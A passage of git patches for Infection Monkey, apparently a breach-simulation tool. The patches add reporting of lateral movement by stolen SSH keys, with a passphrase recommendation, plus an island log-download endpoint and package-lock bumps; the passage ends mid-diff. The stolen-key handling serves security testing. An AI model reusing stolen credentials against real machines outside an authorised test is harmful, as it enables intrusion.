# Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) @staticmethod def encrypt_exploit_creds(telemetry_json): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 0ceadc26b..15b11e877 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -34,6 +34,7 @@ class ReportService: SHELLSHOCK = 4 CONFICKER = 5 AZURE = 6 + STOLEN_SSH_KEYS = 7 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -203,9 +204,12 @@ class ReportService: for attempt in exploit['data']['attempts']: if attempt['result']: processed_exploit['username'] = attempt['user'] - if len(attempt['password']) > 0: + if attempt['password']: processed_exploit['type'] = 'password' processed_exploit['password'] = attempt['password'] + elif attempt['ssh_key']: + processed_exploit['type'] = 'ssh_key' + processed_exploit['ssh_key'] = attempt['ssh_key'] else: processed_exploit['type'] = 'hash' return processed_exploit @@ -231,8 +235,12 @@ class ReportService: @staticmethod def process_ssh_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'ssh' - return processed_exploit + # Check if it's ssh key or ssh login credentials exploit + if processed_exploit['type'] == 'ssh_key': + return processed_exploit + else: + processed_exploit['type'] = 'ssh' + return processed_exploit @staticmethod def process_rdp_exploit(exploit): @@ -332,7 +340,8 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() issues_dict = {} for issue in issues: machine = issue['machine'] @@ -392,6 +401,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True elif issue['type'] == 'azure_password': issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True + elif issue['type'] == 'ssh_key': + issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users: issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 393b1cc74..f8959a252 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -22,7 +22,8 @@ class ReportPageComponent extends AuthComponent { SAMBACRY: 3, SHELLSHOCK: 4, CONFICKER: 5, - AZURE: 6 + AZURE: 6, + STOLEN_SSH_KEYS: 7 }; Warning = @@ -293,6 +294,8 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length} threats:
      + {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? +
    • Stolen SSH keys are used to exploit other machines.
    • : null } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
    • Stolen credentials are used to exploit other machines.
    • : null} {this.state.report.overview.issues[this.Issue.ELASTIC] ? @@ -524,6 +527,22 @@ class ReportPageComponent extends AuthComponent { ); } + generateSshKeysIssue(issue) { + return ( +
    • + Protect {issue.ssh_key} private key with a pass phrase. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. +
      + The Monkey authenticated over the SSH protocol with private key {issue.ssh_key}. +
      +
    • + ); + } + generateRdpIssue(issue) { return (
    • @@ -672,6 +691,9 @@ class ReportPageComponent extends AuthComponent { case 'ssh': data = this.generateSshIssue(issue); break; + case 'ssh_key': + data = this.generateSshKeysIssue(issue); + break; case 'rdp': data = this.generateRdpIssue(issue); break; From 6aeaf0f8571f0951fab67d339d0c7dad62682dd6 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 30 May 2018 18:30:56 +0300 Subject: [PATCH 032/137] Integrated an option to download the monkey island log files from the Log page in the web app. --- monkey_island/cc/app.py | 2 + monkey_island/cc/environment/environment.py | 6 +- monkey_island/cc/island_logger.py | 3 + .../cc/island_logger_default_config.json | 2 +- monkey_island/cc/resources/island_logs.py | 19 + monkey_island/cc/resources/telemetry.py | 9 +- monkey_island/cc/services/island_logs.py | 32 + monkey_island/cc/ui/package-lock.json | 1084 +++++++++++------ .../ui/src/components/pages/TelemetryPage.js | 55 +- 9 files changed, 802 insertions(+), 410 deletions(-) create mode 100644 monkey_island/cc/resources/island_logs.py create mode 100644 monkey_island/cc/services/island_logs.py diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 34d14ae86..6b9ac1154 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -14,6 +14,7 @@ from cc.resources.client_run import ClientRun from cc.resources.edge import Edge from cc.resources.local_run import LocalRun from cc.resources.log import Log +from cc.resources.island_logs import IslandLog from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload @@ -104,5 +105,6 @@ def init_app(mongo_url): api.add_resource(Report, '/api/report', '/api/report/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') + api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') return app diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index 8eb97a999..11b868070 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -1,7 +1,11 @@ import json +import logging import standard import aws +logger = logging.getLogger(__name__) + + ENV_DICT = { 'standard': standard.StandardEnvironment, 'aws': aws.AwsEnvironment @@ -19,5 +23,5 @@ try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() except Exception: - print('Failed initializing environment: %s' % __env_type) + logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/island_logger.py b/monkey_island/cc/island_logger.py index 655a6b998..8fbef1e0e 100644 --- a/monkey_island/cc/island_logger.py +++ b/monkey_island/cc/island_logger.py @@ -3,6 +3,9 @@ import json import logging.config +__author__ = 'Maor.Rayzin' + + def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): """ Setup the logging configuration diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json index 020902dc8..0435222f6 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey_island/cc/island_logger_default_config.json @@ -38,6 +38,6 @@ "root": { "level": "INFO", - "handlers": ["console", "info_file_handler", "error_file_handler"] + "handlers": ["console", "info_file_handler"] } } \ No newline at end of file diff --git a/monkey_island/cc/resources/island_logs.py b/monkey_island/cc/resources/island_logs.py new file mode 100644 index 000000000..1ca1a8cdf --- /dev/null +++ b/monkey_island/cc/resources/island_logs.py @@ -0,0 +1,19 @@ +import flask_restful +import logging + +from cc.auth import jwt_required +from cc.services.island_logs import IslandLogService + +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLog(flask_restful.Resource): + @jwt_required() + def get(self): + try: + return IslandLogService.get_log_file() + except Exception as e: + logger.error('Monkey Island logs failed to download', exc_info=True) + diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index cb18ff845..9785d213f 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -1,4 +1,5 @@ import json +import logging import traceback import copy from datetime import datetime @@ -17,6 +18,9 @@ from cc.encryptor import encryptor __author__ = 'Barak' +logger = logging.getLogger(__name__) + + class Telemetry(flask_restful.Resource): @jwt_required() def get(self, **kw): @@ -52,10 +56,9 @@ class Telemetry(flask_restful.Resource): if telem_type in TELEM_PROCESS_DICT: TELEM_PROCESS_DICT[telem_type](telemetry_json) else: - print('Got unknown type of telemetry: %s' % telem_type) + logger.info('Got unknown type of telemetry: %s' % telem_type) except Exception as ex: - print("Exception caught while processing telemetry: %s" % str(ex)) - traceback.print_exc() + logger.error("Exception caught while processing telemetry", exc_info=True) telem_id = mongo.db.telemetry.insert(telemetry_json) return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) diff --git a/monkey_island/cc/services/island_logs.py b/monkey_island/cc/services/island_logs.py new file mode 100644 index 000000000..77b28bdd4 --- /dev/null +++ b/monkey_island/cc/services/island_logs.py @@ -0,0 +1,32 @@ +import logging +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLogService: + def __init__(self): + pass + + @staticmethod + def get_log_file(): + """ + This static function is a helper function for the monkey island log download function. + It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler + has the property handler.baseFilename. + :return: + a dict with the log file content. + """ + logger_handlers = logger.parent.handlers + for handler in logger_handlers: + if hasattr(handler, 'baseFilename'): + logger.info('Log file found: {0}'.format(handler.baseFilename)) + log_file_path = handler.baseFilename + with open(log_file_path, 'rt') as f: + log_file = f.read() + return { + 'log_file': log_file + } + + logger.warning('No log file could be found, check logger config.') + return None diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 57cdfdc01..e0f519cbc 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -347,7 +347,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -442,7 +442,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -1170,7 +1170,7 @@ "dev": true, "requires": { "babel-runtime": "6.26.0", - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.10.5" }, "dependencies": { @@ -1180,7 +1180,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" }, "dependencies": { @@ -1304,7 +1304,7 @@ "requires": { "babel-core": "6.26.0", "babel-runtime": "6.26.0", - "core-js": "2.5.5", + "core-js": "2.5.6", "home-or-tmp": "2.0.0", "lodash": "4.17.4", "mkdirp": "0.5.1", @@ -1317,7 +1317,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -1334,7 +1334,7 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.10.5" } }, @@ -2105,9 +2105,9 @@ } }, "core-js": { - "version": "2.5.5", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.5.tgz", - "integrity": "sha1-sU3ek2xkDAV5prUMq8wTLdYSfjs=" + "version": "2.5.6", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.6.tgz", + "integrity": "sha512-lQUVfQi0aLix2xpyjrrJEvfuYCqPc/HwmTKsC/VNf8q0zsjX7SQZtp4+oRONN5Tsur9GDETPjj+Ub2iDiGZfSQ==" }, "core-util-is": { "version": "1.0.2", @@ -5262,7 +5262,7 @@ "colors": "1.1.2", "combine-lists": "1.0.1", "connect": "3.6.3", - "core-js": "2.5.5", + "core-js": "2.5.6", "di": "0.0.1", "dom-serialize": "2.2.1", "expand-braces": "0.1.2", @@ -6201,9 +6201,9 @@ "integrity": "sha1-IdZsxVcVTUN5/R4HnsfeWKN5sJk=" }, "npm": { - "version": "5.8.0", - "resolved": "https://registry.npmjs.org/npm/-/npm-5.8.0.tgz", - "integrity": "sha512-DowXzQwtSWDtbAjuWecuEiismR0VdNEYaL3VxNTYTdW6AGkYxfGk9LUZ/rt6etEyiH4IEk95HkJeGfXE5Rz9xQ==", + "version": "5.10.0", + "resolved": "https://registry.npmjs.org/npm/-/npm-5.10.0.tgz", + "integrity": "sha512-lvjvjgR5wG2RJ2uqak1xtZcVAWMwVOzN5HkUlUj/n8rU1f3A0fNn+7HwOzH9Lyf0Ppyu9ApgsEpHczOSnx1cwA==", "requires": { "JSONStream": "1.3.2", "abbrev": "1.1.1", @@ -6214,9 +6214,11 @@ "archy": "1.0.0", "bin-links": "1.1.0", "bluebird": "3.5.1", + "byte-size": "4.0.2", "cacache": "10.0.4", "call-limit": "1.1.0", "chownr": "1.0.1", + "cli-columns": "3.1.2", "cli-table2": "0.2.0", "cmd-shim": "2.0.2", "columnify": "1.5.4", @@ -6241,11 +6243,12 @@ "ini": "1.3.5", "init-package-json": "1.10.3", "is-cidr": "1.0.0", - "json-parse-better-errors": "1.0.1", + "json-parse-better-errors": "1.0.2", "lazy-property": "1.0.0", - "libcipm": "1.6.0", - "libnpx": "10.0.1", - "lockfile": "1.0.3", + "libcipm": "1.6.2", + "libnpx": "10.2.0", + "lock-verify": "2.0.2", + "lockfile": "1.0.4", "lodash._baseindexof": "3.1.0", "lodash._baseuniq": "4.6.0", "lodash._bindcallback": "3.0.1", @@ -6257,20 +6260,23 @@ "lodash.union": "4.6.0", "lodash.uniq": "4.5.0", "lodash.without": "4.4.0", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "meant": "1.0.1", "mississippi": "3.0.0", "mkdirp": "0.5.1", "move-concurrently": "1.0.1", + "node-gyp": "3.6.2", "nopt": "4.0.1", "normalize-package-data": "2.4.0", + "npm-audit-report": "1.0.9", "npm-cache-filename": "1.0.2", "npm-install-checks": "3.0.0", "npm-lifecycle": "2.0.1", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "npm-packlist": "1.1.10", "npm-profile": "3.0.1", "npm-registry-client": "8.5.1", + "npm-registry-fetch": "1.1.0", "npm-user-validate": "1.0.0", "npmlog": "4.1.2", "once": "1.4.0", @@ -6279,39 +6285,40 @@ "pacote": "7.6.1", "path-is-inside": "1.0.2", "promise-inflight": "1.0.1", - "qrcode-terminal": "0.11.0", - "query-string": "5.1.0", + "qrcode-terminal": "0.12.0", + "query-string": "6.1.0", "qw": "1.0.1", "read": "1.0.7", "read-cmd-shim": "1.0.1", "read-installed": "4.0.3", "read-package-json": "2.0.13", - "read-package-tree": "5.1.6", - "readable-stream": "2.3.5", + "read-package-tree": "5.2.1", + "readable-stream": "2.3.6", "readdir-scoped-modules": "1.0.2", - "request": "2.83.0", - "retry": "0.10.1", + "request": "2.85.0", + "retry": "0.12.0", "rimraf": "2.6.2", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "semver": "5.5.0", "sha": "2.0.1", "slide": "1.1.6", "sorted-object": "2.0.1", "sorted-union-stream": "2.1.3", - "ssri": "5.2.4", + "ssri": "5.3.0", "strip-ansi": "4.0.0", - "tar": "4.4.0", + "tar": "4.4.2", "text-table": "0.2.0", + "tiny-relative-date": "1.3.0", "uid-number": "0.0.6", "umask": "1.1.0", "unique-filename": "1.1.0", "unpipe": "1.0.0", - "update-notifier": "2.3.0", + "update-notifier": "2.5.0", "uuid": "3.2.1", - "validate-npm-package-license": "3.0.1", + "validate-npm-package-license": "3.0.3", "validate-npm-package-name": "3.0.0", "which": "1.3.0", - "worker-farm": "1.5.4", + "worker-farm": "1.6.0", "wrappy": "1.0.2", "write-file-atomic": "2.3.0" }, @@ -6374,6 +6381,10 @@ "version": "3.5.1", "bundled": true }, + "byte-size": { + "version": "4.0.2", + "bundled": true + }, "cacache": { "version": "10.0.4", "bundled": true, @@ -6382,13 +6393,13 @@ "chownr": "1.0.1", "glob": "7.1.2", "graceful-fs": "4.1.11", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "mississippi": "2.0.0", "mkdirp": "0.5.1", "move-concurrently": "1.0.1", "promise-inflight": "1.0.1", "rimraf": "2.6.2", - "ssri": "5.2.4", + "ssri": "5.3.0", "unique-filename": "1.1.0", "y18n": "4.0.0" }, @@ -6414,7 +6425,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -6430,7 +6441,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -6452,7 +6463,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -6460,7 +6471,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -6469,7 +6480,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -6513,7 +6524,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -6539,6 +6550,50 @@ "version": "1.0.1", "bundled": true }, + "cli-columns": { + "version": "3.1.2", + "bundled": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + }, + "strip-ansi": { + "version": "4.0.0", + "bundled": true, + "requires": { + "ansi-regex": "3.0.0" + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, "cli-table2": { "version": "0.2.0", "bundled": true, @@ -6717,7 +6772,7 @@ "graceful-fs": "4.1.11", "iferr": "0.1.5", "imurmurhash": "0.1.4", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "gentle-fs": { @@ -6824,12 +6879,12 @@ "bundled": true, "requires": { "glob": "7.1.2", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "promzard": "0.3.0", "read": "1.0.7", "read-package-json": "2.0.13", "semver": "5.5.0", - "validate-npm-package-license": "3.0.1", + "validate-npm-package-license": "3.0.3", "validate-npm-package-name": "3.0.0" }, "dependencies": { @@ -6856,7 +6911,7 @@ } }, "json-parse-better-errors": { - "version": "1.0.1", + "version": "1.0.2", "bundled": true }, "lazy-property": { @@ -6864,26 +6919,26 @@ "bundled": true }, "libcipm": { - "version": "1.6.0", + "version": "1.6.2", "bundled": true, "requires": { "bin-links": "1.1.0", "bluebird": "3.5.1", "find-npm-prefix": "1.0.2", "graceful-fs": "4.1.11", - "lock-verify": "2.0.0", + "lock-verify": "2.0.1", "npm-lifecycle": "2.0.1", "npm-logical-tree": "1.2.1", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "pacote": "7.6.1", "protoduck": "5.0.0", "read-package-json": "2.0.13", "rimraf": "2.6.2", - "worker-farm": "1.5.4" + "worker-farm": "1.6.0" }, "dependencies": { "lock-verify": { - "version": "2.0.0", + "version": "2.0.1", "bundled": true, "requires": { "npm-package-arg": "5.1.2", @@ -6918,45 +6973,18 @@ "bundled": true } } - }, - "worker-farm": { - "version": "1.5.4", - "bundled": true, - "requires": { - "errno": "0.1.7", - "xtend": "4.0.1" - }, - "dependencies": { - "errno": { - "version": "0.1.7", - "bundled": true, - "requires": { - "prr": "1.0.1" - }, - "dependencies": { - "prr": { - "version": "1.0.1", - "bundled": true - } - } - }, - "xtend": { - "version": "4.0.1", - "bundled": true - } - } } } }, "libnpx": { - "version": "10.0.1", + "version": "10.2.0", "bundled": true, "requires": { "dotenv": "5.0.1", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "rimraf": "2.6.2", - "safe-buffer": "5.1.1", - "update-notifier": "2.3.0", + "safe-buffer": "5.1.2", + "update-notifier": "2.5.0", "which": "1.3.0", "y18n": "4.0.0", "yargs": "11.0.0" @@ -6974,7 +7002,7 @@ "version": "11.0.0", "bundled": true, "requires": { - "cliui": "4.0.0", + "cliui": "4.1.0", "decamelize": "1.2.0", "find-up": "2.1.0", "get-caller-file": "1.0.2", @@ -6989,7 +7017,7 @@ }, "dependencies": { "cliui": { - "version": "4.0.0", + "version": "4.1.0", "bundled": true, "requires": { "string-width": "2.1.1", @@ -7129,7 +7157,7 @@ "version": "5.1.0", "bundled": true, "requires": { - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "shebang-command": "1.2.0", "which": "1.3.0" }, @@ -7263,9 +7291,26 @@ } } }, + "lock-verify": { + "version": "2.0.2", + "bundled": true, + "requires": { + "npm-package-arg": "6.1.0", + "semver": "5.5.0" + } + }, "lockfile": { - "version": "1.0.3", - "bundled": true + "version": "1.0.4", + "bundled": true, + "requires": { + "signal-exit": "3.0.2" + }, + "dependencies": { + "signal-exit": { + "version": "3.0.2", + "bundled": true + } + } }, "lodash._baseindexof": { "version": "3.1.0", @@ -7329,7 +7374,7 @@ "bundled": true }, "lru-cache": { - "version": "4.1.1", + "version": "4.1.2", "bundled": true, "requires": { "pseudomap": "1.0.2", @@ -7371,7 +7416,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -7387,7 +7432,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -7409,7 +7454,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -7417,7 +7462,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -7426,7 +7471,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -7480,7 +7525,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -7538,6 +7583,93 @@ } } }, + "node-gyp": { + "version": "3.6.2", + "bundled": true, + "requires": { + "fstream": "1.0.11", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "osenv": "0.1.5", + "request": "2.85.0", + "rimraf": "2.6.2", + "semver": "5.3.0", + "tar": "2.2.1", + "which": "1.3.0" + }, + "dependencies": { + "fstream": { + "version": "1.0.11", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.6.2" + } + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "nopt": { + "version": "3.0.6", + "bundled": true, + "requires": { + "abbrev": "1.1.1" + } + }, + "semver": { + "version": "5.3.0", + "bundled": true + }, + "tar": { + "version": "2.2.1", + "bundled": true, + "requires": { + "block-stream": "0.0.9", + "fstream": "1.0.11", + "inherits": "2.0.3" + }, + "dependencies": { + "block-stream": { + "version": "0.0.9", + "bundled": true, + "requires": { + "inherits": "2.0.3" + } + } + } + } + } + }, "nopt": { "version": "4.0.1", "bundled": true, @@ -7553,7 +7685,7 @@ "hosted-git-info": "2.6.0", "is-builtin-module": "1.0.0", "semver": "5.5.0", - "validate-npm-package-license": "3.0.1" + "validate-npm-package-license": "3.0.3" }, "dependencies": { "is-builtin-module": { @@ -7571,6 +7703,20 @@ } } }, + "npm-audit-report": { + "version": "1.0.9", + "bundled": true, + "requires": { + "cli-table2": "0.2.0", + "console-control-strings": "1.1.0" + }, + "dependencies": { + "console-control-strings": { + "version": "1.1.0", + "bundled": true + } + } + }, "npm-cache-filename": { "version": "1.0.2", "bundled": true @@ -7600,93 +7746,6 @@ "version": "5.0.0", "bundled": true }, - "node-gyp": { - "version": "3.6.2", - "bundled": true, - "requires": { - "fstream": "1.0.11", - "glob": "7.1.2", - "graceful-fs": "4.1.11", - "minimatch": "3.0.4", - "mkdirp": "0.5.1", - "nopt": "3.0.6", - "npmlog": "4.1.2", - "osenv": "0.1.5", - "request": "2.83.0", - "rimraf": "2.6.2", - "semver": "5.3.0", - "tar": "2.2.1", - "which": "1.3.0" - }, - "dependencies": { - "fstream": { - "version": "1.0.11", - "bundled": true, - "requires": { - "graceful-fs": "4.1.11", - "inherits": "2.0.3", - "mkdirp": "0.5.1", - "rimraf": "2.6.2" - } - }, - "minimatch": { - "version": "3.0.4", - "bundled": true, - "requires": { - "brace-expansion": "1.1.11" - }, - "dependencies": { - "brace-expansion": { - "version": "1.1.11", - "bundled": true, - "requires": { - "balanced-match": "1.0.0", - "concat-map": "0.0.1" - }, - "dependencies": { - "balanced-match": { - "version": "1.0.0", - "bundled": true - }, - "concat-map": { - "version": "0.0.1", - "bundled": true - } - } - } - } - }, - "nopt": { - "version": "3.0.6", - "bundled": true, - "requires": { - "abbrev": "1.1.1" - } - }, - "semver": { - "version": "5.3.0", - "bundled": true - }, - "tar": { - "version": "2.2.1", - "bundled": true, - "requires": { - "block-stream": "0.0.9", - "fstream": "1.0.11", - "inherits": "2.0.3" - }, - "dependencies": { - "block-stream": { - "version": "0.0.9", - "bundled": true, - "requires": { - "inherits": "2.0.3" - } - } - } - } - } - }, "resolve-from": { "version": "4.0.0", "bundled": true @@ -7694,7 +7753,7 @@ } }, "npm-package-arg": { - "version": "6.0.0", + "version": "6.1.0", "bundled": true, "requires": { "hosted-git-info": "2.6.0", @@ -7770,12 +7829,12 @@ "http-cache-semantics": "3.8.1", "http-proxy-agent": "2.0.0", "https-proxy-agent": "2.1.1", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "mississippi": "1.3.1", "node-fetch-npm": "2.0.2", "promise-retry": "1.1.1", "socks-proxy-agent": "3.0.1", - "ssri": "5.2.4" + "ssri": "5.3.0" }, "dependencies": { "agentkeepalive": { @@ -7915,7 +7974,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -7931,7 +7990,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -7953,7 +8012,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -7961,7 +8020,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -7970,7 +8029,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -8024,7 +8083,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -8042,7 +8101,7 @@ "requires": { "encoding": "0.1.12", "json-parse-better-errors": "1.0.1", - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" }, "dependencies": { "encoding": { @@ -8075,6 +8134,10 @@ "err-code": { "version": "1.1.2", "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true } } }, @@ -8139,15 +8202,15 @@ "concat-stream": "1.6.1", "graceful-fs": "4.1.11", "normalize-package-data": "2.4.0", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "npmlog": "4.1.2", "once": "1.4.0", - "request": "2.83.0", + "request": "2.85.0", "retry": "0.10.1", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "semver": "5.5.0", "slide": "1.1.6", - "ssri": "5.2.4" + "ssri": "5.3.0" }, "dependencies": { "concat-stream": { @@ -8155,7 +8218,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -8164,6 +8227,264 @@ "bundled": true } } + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "npm-registry-fetch": { + "version": "1.1.0", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "figgy-pudding": "2.0.1", + "lru-cache": "4.1.2", + "make-fetch-happen": "3.0.0", + "npm-package-arg": "6.1.0", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "figgy-pudding": { + "version": "2.0.1", + "bundled": true + }, + "make-fetch-happen": { + "version": "3.0.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.4.1", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.1", + "lru-cache": "4.1.2", + "mississippi": "3.0.0", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.3.0" + }, + "dependencies": { + 